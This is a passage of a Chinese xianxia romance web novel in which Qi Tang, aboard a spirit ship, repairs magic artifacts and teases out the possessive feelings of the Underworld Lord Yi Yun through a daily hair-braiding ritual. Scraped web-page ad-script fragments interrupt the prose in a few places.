易昀想赶快处理完此事,所以没有发作,强忍不适道:“可。” 糖画铺老板傻眼了,没想到自己真的看走了眼,他凑过头来,磕磕巴巴好奇道:“一一一,一百灵石?” 老张一怔,随后神秘莫测地摇了摇头,淡声道:“一千。” 周围的人一片哗然,纷纷看向易昀,眼中充满了敬畏和好奇。 “几位贵客,烦请随我进店取灵石。”老张一边说着,一边伸出一只手,做出邀请的姿态。 漆瑭不动声色地看着冥主接下装满灵石的乾坤袋,目光在那张防御符上打了个转……符箓还有这用处呢?心魔态冥主留在她识海里的那本书,似乎也有个符箓篇? 此事一了,躲在一旁做鹌鹑状的云茴终于松了口气,她想,以后她再也不会惹上这种事,给漆瑭姐姐添麻烦了…… 三人在老张热切的目送视线下离开,易昀极轻地蹙了下眉,拽住漆瑭的胳膊,将她拽到了自己身前,再一次为她挡住了老张的视线。 他自己并没有意识到自己的反常。 可漆瑭察觉到了……一次尚不值得注意,可是连着两次呢? 当夜,三人在客栈定了三个相邻的房间。 易昀拿她当成某种易碎的物品似的,在她房间死角各置法器,简单捏了一个防护阵法。 分别前,漆瑭叫住冥主,不由分说地往他手里塞了一捧杏,“阿兄,你拿着,睡前当作零嘴吃啊。” 易昀手指修长,手掌心也大,她那一捧杏正好能搁在他一只手里。他神色如常地收下了,不拒绝也没道谢,转身走向自己的房间。 忽然,他听到身后再次传来少女的声音:“云茴呀,我这里有小零嘴,给你一些……无妨,我还有很多,都在乾坤袋里搁着……不客气。” 放在门把手上的手停住了,他顿了片刻,才进了屋里。 甩上门,他背对门而站,隐约能听到外面女孩们交谈的声音,他一动不动,宛如雕塑……好一会,声音终于停止了,传来两道关门声……又一会,雕塑动了,他极缓慢地眨了下眼,垂眸,将手中那捧杏子捏作飞灰。 另一边,漆瑭坐在床上剥橘子,支使床下的树精小绿道:“给我熬点橘子糖来,去瞧瞧厨房还有没有人,谨慎些,别叫人发现了。” 呆头呆脑的小绿离开后,漆瑭咽下最后一瓣橘子,往床上一倒—— 冥主他……是对她生出占有欲了吗?有些端倪,却不明显,让漆瑭疑心是自己想多了……此事,亟待验证。 她闭目打坐,开始翻看起识海内的修行书…… ** 天刚蒙蒙亮,晨雾在海面上如轻纱般飘荡,稀薄的阳光穿透雾气,带着一丝凉意照亮了码头。 舢板上旅人来来往往,有的背着行囊神色匆匆,有的三两成群高谈阔论……舢板随着海浪微微晃动,发出嘎吱嘎吱的声响。 漆瑭手里拿着一兜包子,斜倚在栏杆上,一边赏景一边吃早饭。 这是一条走廊,夹在船楼与栏杆之间,不远处正对着漆瑭的一间窗户里,突然冒出云茴汗津津的小脸。 她刚收拾好属于自己的小阁子,忙得脸颊红扑扑的。 漆瑭朝她招了招手:“云茴!收拾好没,过来吃个包子吧!” 云茴乖乖地应了一声,窗子里的小脑袋便消失了。没一会,甲板上传来“嗒嗒嗒“的跑步声,小姑娘跑过转角,直冲漆瑭而来。 突然,斜刺里冲出来一个红色人影,好巧不巧地和云茴结结实实地撞上了。 “哐当——” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 二人齐刷刷一屁股摔到甲板上。 “噼里啪啦” 红衣人手里的包袱掉落在地上,摔了一地。 紧跟着,那边传来了几声怒吼:“站住!小贼!” 红衣人见状不妙,仓促往地上一抓,一跃而起试图翻过栏杆往下层客楼逃去。 漆瑭冲他打出一道灵气锁,然而“铮”的一声,他竟反手抽出腰间长剑挡下了! 是个修士。 只这耽搁的一刻,红衣人便跃下去逃窜不见了。 追踪者们这才姗姗来迟,共计四人,一女子问漆瑭:“方才那小贼往哪逃窜,你可见了?” 一男子自女人背后冒出头来,怒目圆瞪,急吼吼道:“女人,快说!那小贼偷了我们重要的东西,若你知情不报,休怪我们不客气。” 方才那道灵气锁,是漆瑭顺手为之,但她从来不是什么普世意义上的“大好人”,能心无芥蒂地乐于助人。见此情况,她眯了眯眼睛,随手往下指了一个方向:“好像是那边。” 具体是哪边,她只是没看清而已。 那对男女追了下去,还剩下一对男女收敛着地上散落的东西,“少了。” 另一人点头道:“少了十片。” 漆瑭对云茴招手,揽住女孩的肩膀便欲离开这个是非之地,转身前,她看了一眼地上的那堆物什——长得像某种晶莹剔透的玉片。 灵霄舶起航,有灵石加持的大渡轮行驶得又快又稳,破开的水面像被巨刃整齐地切开一般,翻涌起白色的浪花向两侧奔涌而去。 这时晨雾已经散尽,温暖的阳光洒在波光粼粼的水面上,反射出耀眼的光芒。 甲板上乘客们很热闹,漆瑭和云茴坐在两只木椅上,悠哉哉晒太阳。 这时,有交谈的游客经过二人,谈的话题一下子将漆瑭的注意吸引了过去。 “大泽海分明是鲲瞑做主,你没听说过那灵兽吗?据说比两艘灵霄舶还要大。” “分明是鲛人做主!鲛人皇族你可知道?据说他们能号令大泽海所有灵兽,鲲瞑就算是大又如何,在鲛人面前也不过是个听话的庞然大物罢了……” 二人走后,漆瑭好奇地问云茴:“他们说的你可知道?大泽海里的……鲛人,究竟是什么来头?” “鲛……鲛人?”云茴满脸不知所措的羞涩,“我也不懂,我们村子那片海,只有些普通的鱼呀、蟹呀,从没见过那种神奇的灵兽……不过我小时候,听奶奶说,海里有一种水妖,会唱歌蛊惑人,将人拖到深海里呢。”她挠了挠头,“但是我现在知道了,那是吓唬小孩子的故事,是为了防止小孩子自己下海,发生意外……” 漆瑭从袖袋里找到那枚鲛珠,那珠子在阳光下闪烁着奇异的光芒,幽蓝色的光晕仿佛带着来自深海的神秘气息。鲛珠圆润光滑,握在手中,散发着微微的凉意,像是握住了一捧深海里凉丝丝的水。 她眯起一只眼,将珠子挡到眼前,对着阳光瞧来瞧去……珠子移开,露出了不知何时出现的、站在她身前的冥主的脸。 他说:“你倒是关心那只鲛人。” 24. 进展 “你倒是关心那只鲛人。” 漆瑭将珠子收起来,扭了扭身子坐直:“也不能说是关心吧,只是第一次见到鲛人,对他有些好奇罢了。”她仰起头,顺其自然地问:“阿兄,那你对鲛人有什么了解吗?” 冥主神色如常,好似全然不在意她对鲛人的上心:“鲛人,不过是灵兽的一种。其泪可化珠,外形类人,以歌声传讯。”他背着光,眸子便愈发显得黑沉,“最善,蛊惑人心。” 漆瑭很配合地打了个哆嗦,双手搓了搓胳膊,欣慰道:“幸好我还没被他蛊惑……你说,我要是真的中招了会怎么样?”她对上他的视线,满脸一本正经的严肃,“会不会……认不出阿兄了?” 他一言不发,盯着她看了片刻,随即轻笑了一声,眼神里闪过一丝冷意。 突然抬手,将她马尾上的发带扯了下来。 丝带轻薄,被风一吹就跃过了栏杆,飘到茫茫的海面上,消失无踪了。 漆瑭眼疾手快地接住了险些摔落的玉簪,宝贝似的捂在怀里——这可是她的幸运簪,从来到这个世界后,簪子帮了她不止一次。 “你做什么?!” 海风将少女散落的头发吹得凌乱,像一丛乱舞的海草。易昀眯了眯眼睛,慢悠悠道:“十来岁的孩童都会自己挽发髻,而你,就只会用绳子胡乱捆一下?” 漆瑭理直气壮道:“是啊!我就是不会扎头发,怎么了?” “十来岁的孩童”云茴本人,慢一拍地反应过来这提到的是她。她本就在一旁做鹌鹑状,降低存在感,现在被扯进这样的局面,一时间有些不知如何是好。 她鼓起勇气,小声道:“我……我会,漆瑭姐姐需要我帮你吗?”话音刚落,就察觉到一道冷极的目光扎到了自己身上。她瑟缩一下,前言不搭后语地支吾,“其实……我也不是很会……” 漆瑭见状,心里咯噔一下,她好像知道冥主想要做什么了……可是,这代表着什么? “那,阿兄……会扎头发吗?”她黑白分明的眼眸一错不错地看向他,神情天然好奇,单纯极了。 易昀的语气很平:“尚可。” 她了然地笑了笑,眼神饱含期待:“太好了,那就劳烦阿兄了!” 易昀顿了顿,随即面无表情地绕到少女身后。 俊美的青年垂眸,修长白皙的手指微微曲起,在少女黑亮的长发里划过。阳光温柔地铺在二人身上,这一幕不可谓不美好,可是……云茴却突然嗅到了一些不同寻常的东西,隐隐有些胆战心惊。 黑发如瀑,骨节分明的手指逆流而上,将瀑布截断。那动作专注而轻柔,却让云茴联想到了不好的记忆—— 儿时她无意间撞见奶奶宰兔,锋利的刀尖落下,划过兔子柔软的腹部,轻柔地将其剖开。那一幕对年幼的云茴来说过于残忍,简直是心理阴影,因此记了好多年。 而现在,白如瓷的手指,剖开黑如墨的长发。 这场景莫名的极具侵略性和压迫感,透露出一种不容抗拒的威势。令敏锐的看客紧张得有些窒息。 初升的日光分明温暖非常,可是这热度分毫照不进云茴的心里,她竟硬生生出了半身冷汗。 好在,漆瑭忽然用眼神示意她离开,云茴这才如溺水的人上了岸似的,大口喘了口气,惴惴地离开了。 小姑娘离开后,漆瑭笑盈盈地点出:“你把云茴吓到了。” 他将梳理好的头发拢进手心,唇角挂上一抹讽刺的笑意:“世人对本尊大多惧怕……唯独你是个例外,格外胆大。” “那当然,旁人怎么可能劳动尊上亲自来梳头发呢,我是第一个,是不是?”她的语气是恃宠而骄的娇憨,神情却是淡然浅笑。 “过去,不记得。不过有记忆以来,你确实是第一个。” 现在的冥主意外的实诚,漆瑭想了想,又道:“其实,我还算个念旧的人,所以过去许多事在一遍遍的回忆里历久弥新,虽然有时会忘记片段,但不会忘记全部的过去……尊上,你说的过去……是多久的过去,怎么至于不记得?” 他稍加思索,坦诚道:“一千年了,比你全部的人生还长了不知多少倍。” 千年前,那时候是……幽壤之战?琼华神女身亡……心魔态的白月光…… 漆瑭总觉得,这一系列事件都是穿成一串的珠子,丝线断了,所以珠子散了。可一旦找回丝线,将它们穿起来……一切都将大白。 她知道现在不是沉思的时候,及时掐断思绪,掰着手指数了数:“我今年二十一,大约按二十来算……那一千年就是……五十倍!” 最怕空气突然安静。 “咳。”漆瑭莫名有些心虚,看来年龄问题不管在哪个世界都是敏感问题。她适时转移话题,“不过说起来,尊上真是好谋略……你是想与其让旁人敬,不如让旁人畏,是不是?” 空气重新活了过来,他道:“你想多了,本尊从不在意旁人的看法。”他伸出手,示意她把发簪递给他。 漆瑭将捂得热腾腾的簪子搁进他手里,煞有介事地点头:“是啊是啊,尊上心胸豁达,安之若素,君子之腹,格局奇大……”她拍起马屁来,草稿都不带打的。 易昀冷哼一声,开始给她挽发,可突然,他发现簪子……有些不对。 玉簪性凉,被她护在手心捂得热热的……热得古怪。 心魔态与他到底是共用一副身躯,招式与手段都是自己熟稔的,所以他盯着玉簪的蝶戏花看了片刻,就发现了其中玄机。 易昀不动声色地为她挽好发髻,然后在她面前幻化出一面水镜,摁住她的双肩俯下身,凑在她旁边与她一起看向镜中,问道:“怎么样?” 她左右瞧瞧,满意地点头:“好看。” 水镜中,青年侧眸看向身边的少女,微垂的长睫遮掩了寒潭般的眸,竟莫名的显得有些温柔。他抬起手将少女颊侧垂落的一缕发丝顺到耳后…… 在无人可见处,玉簪上戏花的蝶极其轻微地颤了颤,那对玉质眼球竟闪动了一下。 与此同时,易昀的心魔突然躁动了,身体有片刻的僵硬,那瞬间心跳近乎停滞、浑身血液几近凝固…… 果然如此。 那卑劣的、不堪的心魔,把自己的眼睛放在她身上了。 “阿兄,你还好吧?” 一只柔软的手覆上他搁在她肩头的、冰冷的手,如同外力推翻阻塞血流的大坝,易昀猛地恢复神智,血液重新奔涌、心脏重新跳动…… 这一次,他压制心魔所需的时间比上次要短。 莫非……一次会比一次短? 他的目光在他的默许下褪去克制,从心地落在水镜中少女嫣红的唇瓣上,眸色转深。 心里压抑多时的东西,似乎终于有了正当理由可以脱缰而出……但是,还不够。 他暗暗舔了下唇缝,抽出自己的手,站起身来。 可是,他的手被少女拉住了。 易昀的目光缓缓地,从那只白皙柔软的手上转移到手的主人的脸上。 那两片花瓣似的唇一开一合:“你编的真好看,我很 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 喜欢,以后……可以每天都帮我扎头发吗?” 不知什么时候开始,她对他提要求时,已经不会再加一句“求你啦”,望向他的眼神也不再是那种期待的、恳求的、小心翼翼的,而是清澈、无辜、看似坦率的。 但今天有些不同,仿佛是经年不绝的雨水灌满了湖堤,湖水顺其自然地满溢出来,到达了新的阶段。那眼神里竟多了某些明晃晃的、勾得他有些心痒的东西。 理智悬崖勒马,不够、还不够…… 不过,他这一次没有拒绝她。 “可。” ** 漆瑭有句“去你的”不知当讲不当讲。 她本以为经过她坚持不懈的努力,终于撬动了千年老东西的心防……所以,是时候该更进一步了。 当然,进步的也很顺利,他答应了每天给她扎头发。 这个信号亲近而暧昧。 可是—— 第二天醒来,冥主不见了。 第三天,他仍然不在。 第四天、第五天…… 他的小阁子里空空荡荡,也没有任何私人物品遗留。要不是漆瑭发现自己身上多了几层厚如阵法的防护罩、要不是她深知冥主那控制欲超强的本性,她都要以为他弃她而去了。 虽然事出有因:冥主他此行本就是为追踪大泽中的恶蜮;虽然罪不至此:只是答应扎头发却没给扎而已,又不是那什么了…… 但是漆瑭就是有一种,被渣男拔x无情的愤怒感。 灵霄舶横穿大泽海,要到达彼岸,需得半月。好在烧灵石的灵霄舶平稳安逸,并不会令人觉得颠簸。船头船尾的公共区域,客人们来来往往,休闲活动很多,如在大陆上。 船尾闸道处,头脑机灵的乘客们摆起了摊位,热闹的如同大陆市集。 各类稀奇古怪的小玩意儿琳琅满目,有手工雕刻的精美饰品、散发着光芒的神秘宝石、还有不知真假的《武功秘籍》…… 其中混着一个摊位,支起的架子上商品五花八门:刀枪棍棒、各类匕首、平安结、草编动物、水果糖…… 坐在摊位后的女孩正垂着头,极其专注。只见几根草条被她翻飞的手指串来续去,刷刷两下就编成了一只可爱的草编猫。 她身边坐着一个男孩,看起来已经是个半大少年了,嘴里叼着一根草条,头上扣着一顶草帽,悠哉哉地倚在藤椅上。 漆瑭径直朝着二人走去,手里托着一罐树精小绿刚熬制出的橘子糖。她拈出一颗圆润晶莹的糖果,随意地抛到半空,修长的脖颈一仰,就精准无误地将那颗糖接进了口中。 走到摊位前,她如法炮制朝那闭目养神的男孩抛去一颗糖。下一瞬,他猛地睁开眼睛,身子往前一倾—— 小狗似的将那颗糖含进了嘴里。 草条跟黏在他嘴唇上似的,这一番动作下来也没掉出来。他一边嚼糖一边支吾道:“漆姐你来了。” 漆瑭抬抬下巴,又取出一颗糖递到女孩嘴边。 云茴的状态比先前好了不少,这时候笑容里时时萦绕的阴霾渐消,她笑道:“谢谢阿瑭姐姐。” 接下了漆瑭手里的糖罐,她细心地将糖罐摆到摊子上合适的位置,又在旁边装饰了几只草编小动物。这个小小的铺位被她打扮得盎然生趣。 少年兴高采烈地凑过头来,神秘兮兮地问漆瑭:“漆姐,那把剑改的怎么样了?”每说一句话,他口中那根草就墙头草似的飘来飘去。 漆瑭抬手就把那根草揪出来扔了,她眯了眯眼睛,“保密。” 25. 破剑 三天前,云茴的小摊子刚刚开业,她兴致勃勃地领着漆瑭往摊位走去。 那会时值正午,迎面的阳光格外刺眼,漆瑭刚走出船楼就被晃了眼。她眯了眯眼睛,缓过神来就见一旁大敞的窗上坐着一个醒目的人影—— 蓝衣少年屈膝坐在窗框上,一条腿垂在窗外,抱在胸前的两只手上带着两只闪闪发光的银色护腕。 他屈指将一截草根隔空弹到云茴头上,“喂,没看到小爷吗?” 漆瑭将云茴拉到自己身后,抬眼,微笑:“你谁?” …… 少年名为沈确,与云茴相识一日,二人意外的投缘——或者说,是沈确单方面觉得投缘。 前一夜,云茴在挑选摊位时,险些叫人挤下船去,是沈确出手拉了她一把。 她道了谢,可沈确仍觉得不够,于是约定,以后每回遇见,她都得叫他一声“沈哥哥”。 既然弄明白了是事出有因,不是那小子无缘无故搞霸凌,漆瑭就不掺合这二人的交往了。 云茴道:“看到了,但是……我没认出是你,我有些脸盲。” “我?我是谁?” 云茴老实巴交道:“沈确,沈哥哥。” 沈确满意地点点头,又问:“怎么这么巧你就脸盲,莫不是在唬我?” 云茴一脸诚恳地摇摇头,拉住漆瑭的袖子道:“没有骗你,我真的是,不信你问我阿瑭姐姐。” 漆瑭心里有些复杂,其实自打云茴经历了那件事后,她就受了某种刺激似的,脸盲的毛病已经大有改善了……认人可能会慢一些,但不至于真的认不出来。 但她没拆穿。 那之后沈确每天都会出现在云茴面前,而云茴每次都以“脸盲”为由对他视而不见,直到他死缠烂打,她才不得不恍然认出,然后叫一声“沈哥哥”。 云茴对他的态度有所改变,是因为漆瑭和他意外地达成了合作关系。 沈确的摊子紧挨着云茴的手工摊,他卖的东西乍看上去竟是一堆“破铜烂铁”——各种微瑕、半暇、微不瑕、全瑕的法器。 每一个法器内都有自己的器脉,就像每一个人体内都有自己的血脉。主人操纵法器,引天地灵气进器脉,像血液似的流动,这种状态法器就能叫“活了”。 “活了”的法器内也会有各种毛病,器脉有损就像人血管阻塞,有轻有重。轻微的器脉损伤或许只会影响法器的部分功能,使其威力有所减弱;而严重的器脉损伤,则可能导致法器彻底失去灵性,沦为一件彻底的破铜烂铁。 沈确售卖的就是这样一堆“器脉有损”的法器。 而漆瑭这几日闭关钻研“符箓篇”,却怎么也摸不着门道……但她意外地发现,她对“炼器篇”有着惊人的悟性——在某种程度上说,这也挺贴合她的老本行,儿时自学维修各种破铜烂铁、长大后又当上了专业维修工。 当她开着器眼看沈确的那堆法器时,能看到清晰可辨的器脉纹路,就像叶子上的叶脉一般。她不仅能看清哪有断口、哪有岔口,就连对旁人来说难如登天的细控灵气疏通器脉也能信手拈来。 于是利字当头,她和沈确一拍即合。达成合作后,她便着手修复还有救的法器,每接通一个断口,法器的品质就更上一层,售价自然也更高一些。 这几日漆瑭已经小发了一笔横财。 入夜,回到自己的小阁子后,漆瑭在随身乾坤袋里取出了一把长剑。 剑身锈迹斑斑,铁锈如一层厚厚的痂壳,缠在剑身上,看上去轻轻一碰那剑上就掉下铁锈渣渣,让人担心这把剑会不会在顷刻间彻底散架。 腐朽、残破、衰败。 这都能用来形容这把无人问津的破剑,可漆瑭偏偏就在那堆破铜烂铁里挑中了最破的这把。 冥冥之中有一种不可言说的感应,让她觉得自己与这把剑有缘。 沈确是个会来事的,这两日靠着漆瑭发了笔财,常常给她和云茴买些小礼物以表心意。又见漆瑭看上了这把剑,他便做个了顺水人情,直接送给了她。 今晚是个阴天,夜色沉酽,仿佛一块巨大的黑幕笼罩着大地。小阁子里点着一支无尽烛,烛火在浓郁的黑夜里显得分外单薄。 漆瑭闭目打坐,柔软的指腹扣在钝涩的剑锋上,锈痂下的器脉忽闪忽现。 她很放松,因为冥主曾在她的小阁子布置了防护阵,以镇山石为压,堪称坚不可摧——哪怕这艘灵霄舶原地爆炸,她的小阁子也会安然无恙。 所以未经她的允许,任何人不得进入。 ——除了法阵的主人,冥主。 漆瑭深吸了口气,干脆利落地斩断灵气丝,身体有一瞬的紧绷。 她看向窗户旁不知何时出现的人影,说:“阿兄真是不见外,就这么随随便便进了妹妹的闺房?” 他毫不遮掩的存在感实在太强了,强到她潜心打坐时都能感受到他的目光。 他看着她,却没有说话。 漆瑭的心里直打鼓,不知道几天没见他受了什么刺激,还是说他自己内心斗争到了某种阶段? 气氛沉闷、滞涩,让人心慌。 她弹出一团灵气罩住无尽烛,烛光大盛,光芒短暂地驱散了沉沉的夜色和这沉闷的气氛。 “你怎么了啊,怎么才回来?” 易昀极缓地眨了下眼,没回答她的话,反而问:“你的头发,是谁给你扎的?” “头发?”她摸了摸脑袋上的单螺髻,态度也格外冷淡,“是我自己。” 易昀盯着她发髻上翠色的华胜,又问:“那朵花也是你自己买的?” 漆瑭眯了眯眼睛,似笑非笑地盯着他,却不再答话了。 易昀烦躁地垂下眼。 几日前,他近乎是落荒而逃。他做的事,她说的话,当时觉得没什么,可是入夜打坐时,脑海里却反反复复重放着那一幕。 绸缎般丝滑的发丝在手里滑过的触感那么清晰,他每顺一下,都会想到漆瑭看着那只鲛人的眼神。 毫不掩饰的惊艳、赞美,让他格外不爽。 可是当他意识到自己的反常后,那不爽被不自知的恐惧取而代之,他不知道 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 自己在抗拒,更不知道自己在抗拒什么……于是本能地逃避。 想不明白,更不能想明白。 他捉住了一只被恶念彻底侵蚀的鲲瞑,与它鏖战了一天一夜,临近尾声时,心魔却趁虚躁动,导致他被垂死挣扎的鲲瞑中伤。 心魔终于心满意足地隐匿起来,只留下冥主站在茫茫海水里,四下环顾,心也是一样的茫茫。 …… 漆瑭不动声色地观察他。 她洞察人心,而且在某种程度上,她与孤独缺爱的冥主也有些相似,所以她更能察觉到他的心思——但也只是大概能懂,比如现在,她就看不出他在想什么。 易昀忽然走到她床前,与她仅半臂相隔。 凉意扑面,他整个人仿佛刚从冰窖里出来解冻,浑身散发着寒气。 海腥味很重,咸涩,潮湿。 漆瑭皱了皱鼻子。 他今天实在太奇怪了,他要干什么? 他幽深的目光落在漆瑭的唇上,没有遮掩,也久久未动。 他是不是想亲她? 脑海里冒出这个猜测后,她竟然控制不住打了个哆嗦,一下子精神了。 漆瑭的注意力情不自禁地聚焦到自己的唇上了,于是触觉、味觉前所未有的鲜明。 唇外沾上了他身上的寒气,唇内被他身上的海腥气侵染,舌尖仿佛落进了冰冷的海水里……想象太过真实,以至于嘴巴开始发麻。 进展竟然这么快吗?!不就是扎了个头发吗? 不,不对……应当是早有端倪了。 她忽然在回忆里发现了许多未曾留意的细节——他已经不是第一次盯着她的嘴巴看了,但他从未更进一步。 漆瑭跳下床,目光反落在他的唇上,试探着主动前倾身体…… 然后被迫停住了。 因为他突然抬手把她发髻上的华胜抽出来:“本尊不喜欢。”接着拆了她的发髻,“丑。” 漆瑭气笑了:“怎么,你不在的时候,还不允许别人学着扎头发了?哪有这样的?” 易昀敏锐地捕捉到她话里的关键词——这发髻是她自己挽的,但他只平静了一瞬,转而烦躁地捏紧了手里牡丹花形的华胜,冷冷地说:“会给你扎,本尊答应了的。” 眼看着她那张伶牙俐齿的嘴又要张开了,易昀也不知道为什么,自己就这样伸手给她捂住了。 近在咫尺的少女瞪大了一双眼睛,诧异地盯着他,温热的呼吸喷在他的手心里,有些痒。 易昀的心里咯噔一声,几乎是仓惶地松开了手。然后他神色莫名地盯着自己的手,好似将要发作、或是逃离。 情绪即将到达临界点时,眼前忽出现了一只玉簪,簪头的蝶戏花栩栩如生。 她似乎是妥协地叹了一口气,道:“好吧,再相信你一次,帮我扎起来吧……阿兄。” 漆瑭敏锐地察觉到,他那将要决堤的情绪倏然回笼,就像火苗□□沙猛地扑灭,让她想到了他第一次被一颗杏安抚了情绪的样子。 好像一只被缓缓驯化的兽。 26. 逼迫 他果然兑现了承诺。 第二天早上,漆瑭刚转醒,就看到了倚在窗边等着给她扎头发的冥主。 天色刚刚转白,微弱的光晕在他身后洇开。他垂着眸,指尖把玩着之前从她头上抢来的华胜,幽幽地问:“这是谁给你的?” 漆瑭才睡醒,脑袋还有点懵,几乎是顺着他的话脱口而答:“沈确啊……”而且云茴也有个差不多的。 她突然彻底清醒过来,急忙刹住了后面的话,刻意没有解释。 “沈确。”他复述了一遍这个名字,朝她走了一步,“你很喜欢?” 这话问得实在暧昧不明,喜欢……喜欢的是什么?是沈确还是那枚华胜? 漆瑭佯装听不懂,无辜地看着他,神情分外坦然:“当然喜欢,因为我觉得很好看,才会戴上啊。” ——她是刻意的。 刻意逼他直面自己的内心、承认自己的欲望、明白他……想吻她。 昨夜她本做好了主动迈出那一步的打算,甚至连心理建设都做好了……谁想到他会来那么一出! 也不知道他是故意逃避,还是真的半点窍也没开。 总之漆瑭现在不想主动了,她想逼他主动、逼他无可奈何地臣服于欲望,就像屈服后收起野性的兽一样。 “你觉得不好看吗?”她惋惜地叹一口气,直直迎上了他的目光,黑白分明的眸子透着十足的诚恳,“可是我真的很喜欢……今天,能不能用这个帮我扎头发?” 他盯着她看了片刻,有那么一瞬间,眼神里涌泄出来的东西,差点让漆瑭以为他要把她吃了。 她不避不让,继续问:“好吗,阿兄?” 如果不好,又为什么不好,凭什么不好? 这是他不能深想的问题,他甚至没有心思分辨她是不是又在演戏。 易昀收回视线,手指轻轻摩挲那枚冰冷但精致的华胜。 “随你。” 窗里漏进来的阳光跳跃在长发上,长发缠绵在他手心,被挽成了盘绕的发髻。然后,他拇指指腹抵着华胜搁手的纹路,缓缓将其推进她的发间——像是亲手给她按上了不属于他的章。 临走前,他的衣袖忽被她拽住了。 易昀的心底闪过一丝不易察觉的欣喜,然而转回身却见她一只手捏着他的袖子,另一只手捏着自己的鼻子,嫌弃道:“我实在忍不住了……这几日你是去下海打渔了吗?怎么这么熏人。” 易昀脸色一沉。 …… 冥主大部分时候是不在的,只在早上她起床时出现一小会,例行公事般给她挽起头发就离开。 这一日,漆瑭换了新衣裳,丝质的布料比之前那条棉布的舒服多了。 她开开心心地拎起裙摆在他面前转了一圈,“怎么样,好看吗?” 易昀顿了顿,似乎是吞咽了一下,“怎么换了……先前那件呢?” “哦,那件啊。”她珍惜地抚平了裙摆,语气特别无所谓,“那件不太合身,你没发现吗?”她两只手掐在自己的腰间比划,“这里宽了好多。” 他看上去欲言又止。 漆瑭没有给他后退的余地,直接道:“是云茴给我买的,她也有一件同款呢!” 易昀烦躁地蹙了下眉,急促地喘了口气,周身气场忽如冻结了一般。 漆瑭转而浅浅一笑,背对着他做到椅子上。 “好了,不夸就不夸呗……梳发吧阿兄。” 过了片刻,便有微凉的手指在头皮上一触即分,顺着发丝梳理下去…… 分明看不见身后的人,但后背却能隐约感受到那人靠得极近的存在感。分明头发没有触觉,但却能隐约感受到那轻柔的拉扯感,甚至能想象到发丝和手指缠绵的样子。 漆瑭两只手乖乖地搭在腿上,和水镜中的自己对视着,突然想到:在冥主之前,从没有人给她梳过头发。 发丝被人拢到了手心里,包裹感、纠缠感愈发强烈……这种感觉竟有些莫名的上瘾。 漆瑭先是浑身紧绷,接着泄劲似的一松,实实地靠到了椅背上。她从乾坤袋里取出了一只被焰冰玉冻结保鲜的橘子,剥开。 水镜中,清丽的美人咬开饱满的橘瓣,红唇被溅出的汁液涂抹得晶莹。 她伸出舌尖,缓缓地将橘子汁舔掉了。 漆瑭感觉到,正在给她挽发的手顿了一下。 他看到了。 而她也是故意要他看的。 可惜,不够……仍然不够。 ** 事情在一个阴雨的午后发生了微妙的变化。 天色灰蒙蒙的,将海水也映衬得灰蒙蒙的。细密的雨丝连成了灰蒙蒙的纱,和这天、这海几乎要融为一体。 闸道处的小商街,因为这场突如其来的雨被迫中止。已经相熟的各摊主人们聚在船楼茶厅里,喝茶赏雨。 漆瑭那一桌,几个年轻的男男女女们相谈甚欢—— 沈确学着云茴叫她“阿瑭姐姐”。 云茴不乐意了:“你怎么要学我这样叫阿瑭姐姐?!” 沈确见状,立马顶风作案,嬉皮笑脸地连道几声“阿瑭姐姐”,得意洋洋地说:“小爷就是叫了,你待怎样?” 少男少女打成一片。 另一边,漆瑭正专注地看着一个青年绘符。青年的水平差劲极了,绘一张、废一张。但是围观者没人喝倒彩,反而兴致勃勃地各抒己见。 漆瑭甚至还管那废物叫“子良兄”。 易昀过来时看到的就是这样一幕。 他今天难得没有外出,而是留在灵霄舶上。漆瑭像从前一样,心知他不喜嘈杂,所以做什么事都不会叫上他。 易昀独来独往惯了,一向如此。唯独遇见她之后那段短暂的共处时光,才是意外。他本以为意外只是意外罢了,习惯才是常态,但是……他现在竟会下意识地寻找她。 热热闹闹地混在人群中的少女,又换了一件新衣,发间戴着新饰,周围环绕着新朋友。 她过了好一会才看到他。 她有些惊讶,似乎在想:他怎么会主动来这么嘈杂的地方,肯定马上就走了吧……于是贴心投给他一个“我懂得”的目光,然后佯装没看到他。 茶厅里最浓郁的就是茶香,混杂在袅袅上浮的白色热气里,将人熏得懒洋洋的。船楼外连绵的雨声被茶厅里的人声遮盖住七七八八,唯有海上雨独有的湿润腥气悄悄地混进茶香里。让冷不丁分辨出这股异味的人,打了个激灵。 漆瑭的余光冷不丁瞥见了走近的冥主,他竟然凑到了这闹哄哄的茶桌旁。 除了沉迷于绘符的叶子良,大家都停下了手里的动作,抬起头看向这个存在感极强的、陌生的不速之客。 来者不太善,像来找茬的。 这桌紧张的沉默迅速蔓延到了其他茶桌,仅呼吸之间,整个茶厅都陷入了一种诡异的宁静里。 从前遇到这种情况,她势必要朝他扑过来,亲昵地把他拉入局中,向众人介绍“这是我阿兄”。 可是现在的她坐在人群里,与他隔着一张宽宽的茶桌,像是隔着一条河。 漆瑭的笑容很浅,看向他的眼神与看别人并无不同。她问:“阿兄,你怎么来了,有什么事吗?” 气氛实在古怪,满座茶客都默默翘首观察这兄妹二人。 四面八方攒动的人 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 头、汇聚而来的目光,易昀都没有多余的心思去抗拒。因为此时此刻,那些东西似乎都离他很远,纷纷扰扰的世界里只剩下她与他二人。 ——是错觉。 她的世界里还有很多人。 她的世界里怎么还有那么多人?为什么每到一个地方,她都能迅速地与其他人建立某种联系? 易昀是在这时恍然惊觉,他对她来说,与任何人并无不同——除了他与她绑了心契,二人被迫的、短暂的绑在了一起。 她不以为意地称呼他“阿兄”,但是她还可以与其他人互称“兄弟姐妹”,轻而易举变得熟稔,轻而易举……取代他。 大庭广众之下,易昀状态的不对实在是太明显了,所以四周愈发寂静,以至于船楼外的雨声都变得清晰可闻。 雨打在船舶上是“滴答”的,落进海里是“沙沙”的,她看向他的目光不热的时候,竟然是冰冷的。 易昀转身就走。 因他整个人气势太强,不像神经病发病,倒像威严的兄长对妹妹表达不满,所以无知的看客们都用一种“怜悯”的眼神望向漆瑭——可只有她,在他的背影里看出了一丝“落荒而逃”。 